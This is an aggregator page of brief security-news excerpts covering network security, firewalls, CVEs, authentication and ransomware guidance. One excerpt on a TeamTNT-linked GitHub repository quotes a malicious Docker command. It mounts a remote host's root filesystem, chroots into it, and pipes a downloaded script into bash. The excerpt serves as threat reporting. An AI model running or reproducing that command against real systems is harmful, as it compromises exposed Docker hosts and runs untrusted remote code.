eSecurity Planet

APRIL 19, 2023

authentication to gather endpoint information for reporting and enforcement. across all network devices to streamline audits and reporting Integrates via RESTful API with security information and event management (SIEM) solutions Customizable risk policy based on the mode of access (wired, VPN), location, requested network device, etc.

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eSecurity Planet

MARCH 14, 2023

Network security creates shielded, monitored, and secure communications between users and assets. Securing the expanding, sprawling, and sometimes conflicting collection of technologies that make up network security provides constant challenges for security professionals.

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Malwarebytes

JUNE 24, 2022

Remote connections can be used for powerful remote management capabilities, so Windows Firewall rules on endpoints should be configured appropriately to control permitted connections. Access to endpoints with PowerShell remoting requires the requesting user account to have administrative privileges at the destination by default.

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eSecurity Planet

MARCH 16, 2023

. “An attacker who successfully exploited this vulnerability could access a user’s Net-NTLMv2 hash which could be used as a basis of an NTLM Relay attack against another service to authenticate as the user,” the company wrote. Consider using it for high value accounts such as Domain Admins when possible.

Energy and Utilities 98

Energy and Utilities Authentication Firewall Engineering 98

eSecurity Planet

MARCH 1, 2023

Without sufficient security measures, unauthorized users can easily gain access to a wireless network, steal sensitive data, and disrupt network operations. By securing wireless connections, your organization’s data is protected and you maintain the trust of customers and partners. How Does Wireless Security Work?

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eSecurity Planet

AUGUST 28, 2023

OpenFire vulnerability persists Open-source chat server OpenFire has been affected by an authentication bypass vulnerability (CVE-2023-32315) since May. An attacker creates a new admin user and logs into an OpenFire account. This highlights the importance of enabling multi-factor authentication (MFA) in VPN implementations.”

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VPN Authentication Mobile Firewall 98

eSecurity Planet

AUGUST 28, 2023

OpenFire vulnerability persists Open-source chat server OpenFire has been affected by an authentication bypass vulnerability (CVE-2023-32315) since May. An attacker creates a new admin user and logs into an OpenFire account. This highlights the importance of enabling multi-factor authentication (MFA) in VPN implementations.”

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VPN Authentication Mobile Firewall 95

eSecurity Planet

SEPTEMBER 5, 2023

See the top Patch and Vulnerability Management products August 29, 2023 Juniper Vulnerabilities Expose Network Devices to Remote Attacks A critical vulnerability in Juniper EX switches and SRX firewalls is being tracked as CVE-2023-36844 , CVE-2023-36845 , CVE-2023-36846 , and CVE-2023-36847.

VPN 104

VPN Authentication Ransomware Antivirus 104

eSecurity Planet

APRIL 14, 2023

Malicious bots can be used to carry out a range of cyber threats like account takeovers and DDoS attacks, so bot protection is an increasingly important defense for web-facing assets. Comprehensive protection: DataDome protects against all types of bots, including credential stuffing, web scraping, and account takeover attacks.

Software 109

Software DDOS Accountability Firewall 109

eSecurity Planet

MARCH 17, 2023

Whether you’re operating a global enterprise network or a small family business, your network’s security needs to be optimized with tools, teams, and processes to protect customer data and valuable business assets. Many of these tools protect resources connected to networks, thus shutting down threats as early as possible.

Network Security 120

Network Security Penetration Testing Firewall Antivirus 120

Pen Test Partners

SEPTEMBER 13, 2023

Section 3 Sensitive authentication data must now be encrypted or protected if stored before authorization. Section 6 A requirement coming into force in March 2025 is that organisations will need to have a web application firewall in place for any web applications exposed to the internet. Section 7 Not much has changed in this section.

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Authentication Passwords Media Encryption 52

Malwarebytes

MAY 23, 2023

The Cybersecurity and Infrastructure Security Agency (CISA) has updated its #StopRansomware guide to account for the fact that ransomware actors have accelerated their tactics and techniques since the original guide was released in September of 2020. For example, if a new firewall rule is created that allows open traffic (0.0.0.0/0),

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eSecurity Planet

FEBRUARY 6, 2024

A host-based firewall is installed directly on individual networked devices to filter network traffic on a single device by inspecting both incoming and outgoing data. Larger enterprises use this to manage the spread of malware throughout a network in the event that one device is infected.

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Firewall Mobile Network Security Software 109

eSecurity Planet

AUGUST 23, 2023

In order to send a message, they could be using spoof email addresses, making use of compromised accounts, or exploiting weak security measures. Email Authentication and Security Methods Organizations can combat spear phishing through email authentication protocols and security strategies.

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SecureWorld News

JANUARY 13, 2022

That is, our primary security controls of firewalls, intrusion prevention, network segmentation, and wired network security are no longer the primary method to manage technology in a COE. Organizations must adapt their security controls to home networks and even public WiFi.

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Digital transformation Technology Authentication Risk 79

eSecurity Planet

OCTOBER 7, 2021

The network firewall is the first line of defense for traffic that passes in and out of a network. The firewall examines traffic to ensure it meets the security requirements set by the organization, and unauthorized access attempts are blocked. Firewall protection has come a long way in recent years.

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Firewall Marketing Technology Social Engineering 104

eSecurity Planet

JUNE 30, 2023

So … the EDR missed an indicator of compromise, and while it may have compensated for it later, the firewall should have stopped inbound/outbound traffic but failed to do so.” Lace Tempest (Storm-0950, overlaps w/ FIN11, TA505) authenticates as the user with the highest privileges to exfiltrate files,” Microsoft notes.

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eSecurity Planet

MARCH 16, 2023

Network security threats weaken the defenses of an enterprise network, endangering proprietary data, critical applications, and the entire IT infrastructure. This guide to major network security threats covers detection methods as well as mitigation strategies for your organization to follow.

Network Security 109

Network Security Firewall Internet Internet 109

Cisco Security

JUNE 15, 2021

As a network and workload security strategy leader, I spend a lot of time thinking about the future of the good old network firewall. Spoiler alert: I’m not going to join the cool club of pronouncing the firewall dead. Insert Your Firewall Here. How this insertion happens is changing quite rapidly, though.

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Firewall Software Network Security Encryption 130

SC Magazine

FEBRUARY 12, 2021

Further, all computers shared the same password for remote access and appeared to be connected directly to the Internet without any type of firewall protection installed,” the report continued. You have to drive a level of real technical and control accountability,” said Harkins. Are you forcing password resets?

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Risk Passwords Firewall Security Awareness 115

Security Affairs

MAY 11, 2020

Secured Network. Network security should be the utmost priority of anyone dealing with the confidential data. Most of the data breaches occur due to insecure networks. To maximize your network security, always protect your router with a unique password and use an encrypted network.

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Encryption Data breaches Advertising Passwords 131

eSecurity Planet

SEPTEMBER 21, 2022

The associated GitHub account “wafferz” means “armory” in German and owns another repository called “ dock ” that contains Bash scripts and comments that mention TeamTNT: #docker -H tcp://$ipaddy:$2 run -d --name teamtnt -v /:/mnt alpine chroot /mnt /bin/sh -c "curl -sLk [link] | bash;curl -# -Lk [link] | bash;while true; do sleep 9999;done".

Encryption 138

Encryption Malware Internet Internet 138

IT Security Guru

FEBRUARY 13, 2023

Another security measure to consider is using two-factor authentication, essentially providing two methods of logging in to ensure that the right person is logging in. Check HTTPS connection: Always ensure the website you visit has a secure HTTPS connection before you log in to your online banking account.

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Banking Cybersecurity Antivirus Phishing 62

Spinone

DECEMBER 23, 2019

In short, here is this approach: Data security Device security Network security Application security Email security Access security End-user behavior security Let’s look at these more closely and also mention some software you can use to shore up your defense. №8.

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Ransomware Backups Antivirus Firewall 52

Security Boulevard

OCTOBER 12, 2021

These machines are usually the heaviest guarded against attacks: they are protected by firewalls and monitored for suspicious activities. Machines that don’t sit on the network perimeter are often treated differently. Instead, sensitive services should authenticate devices and users regardless of where they are located.

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eSecurity Planet

MAY 12, 2023

Unauthenticated vulnerability scans should be conducted to view the systems from the perspective of an external hacker and authenticated vulnerability scans should be conducted to view systems from the perspective of a hacker with stolen credentials. Related systems, software, and processes should also be noted for the vulnerability.

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Penetration Testing Risk Firmware Software 109

eSecurity Planet

OCTOBER 24, 2023

Enable Firewall Protection Your firewall , working as the primary filter, protects your network from both inbound and outgoing threats. Mac and Windows have their own built-in firewalls, and home routers and antivirus subscriptions frequently include them also. Fortunately it’s a little bit easier for home users.

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Malware Antivirus Software Passwords 122

eSecurity Planet

FEBRUARY 3, 2021

With admin-level access, the malicious actor can modify authentication data stored. TrustWave found any authenticated Windows user could log in and drop files that define new users. TrustWave found any authenticated Windows user could log in and drop files that define new users. Also Read: How to Secure Digital Signatures.

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Software Malware Authentication Penetration Testing 62

eSecurity Planet

DECEMBER 3, 2021

Here are the top Twitter accounts to follow for the latest commentary, research, and much-needed humor in the ever-evolving information security space. Lots of accounts including Bezos, Elon Musk, Joe Biden, Barack Obama, Bill Gates, Mr Beast, and a ton more getting hacked for a bitcoin scheme. Street))) I & have my !

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Accountability Cybersecurity Penetration Testing InfoSec 139

Fox IT

JANUARY 12, 2021

After obtaining a valid account, they use this account to access the victim’s VPN, Citrix or another remote service that allows access to the network of the victim. Information regarding these remotes services is taken from the mailbox, cloud drive, or other cloud resources accessible by the compromised account.

VPN 68

VPN Accountability Passwords DNS 68

eSecurity Planet

DECEMBER 2, 2022

To accomplish that, your IT team must implement segmentation between servers, storage, and backup environments using virtual local area networks (VLANs) and inspecting inter-VLAN traffic, treating that traffic as untrusted. All inter-VLAN traffic should go through a firewall. Firewalls have limited throughput on their own.

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Architecture Ransomware Backups Firewall 113

eSecurity Planet

DECEMBER 18, 2023

IaaS involves virtualized computing resources over the internet, with users responsible for securing the operating system, applications, data, and networks. Security concerns include data protection, network security, identity and access management, and physical security. What Is IaaS Security?

Encryption 113

Encryption Data breaches Data privacy Risk 113

eSecurity Planet

NOVEMBER 22, 2023

How Cloud Security Works The fundamental focus of cloud security is on the successful integration of policies, processes, and technology. This integration seeks to provide data security, improve regulatory compliance, and establish control over privacy, access, and authentication for both people and devices.

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Backups Encryption Firewall Risk 100

eSecurity Planet

JUNE 8, 2023

This article explores: What Is Email Security Best Options to Secure Business Email Email Security Best Practices How Email Security Blocks Threats Bottom Line: Email Security What Is Email Security Email security is a concept that protects email accounts, servers, and communications from unauthorized access, data loss, or compromise.

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Firewall DNS Authentication Malware 80

eSecurity Planet

JUNE 15, 2023

This involves gathering as much information about each asset as possible, including IP addresses, service account credentials, patch status, and more. Mitigate Alternatively, you may choose to mitigate a vulnerability by adding additional security controls around assets that are at risk.

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Cyber threats Risk Technology Penetration Testing 104

SiteLock

AUGUST 27, 2021

Along with clearly outlining all key players’ roles and responsibilities, your incident response plan should account for any potential threats and vulnerabilities within your network. In fact, one survey found that 83% of professionals working in information security experienced a phishing attack last year.

Cybersecurity 98

Cybersecurity Small Business Backups Phishing 98

Thales Cloud Protection & Licensing

JUNE 22, 2022

include: Expansion of Requirement 8 to implement multi-factor authentication (MFA) for all access into the cardholder data environment. Updated firewall terminology to network security controls to support a broader range of technologies used to meet the security objectives traditionally met by firewalls.

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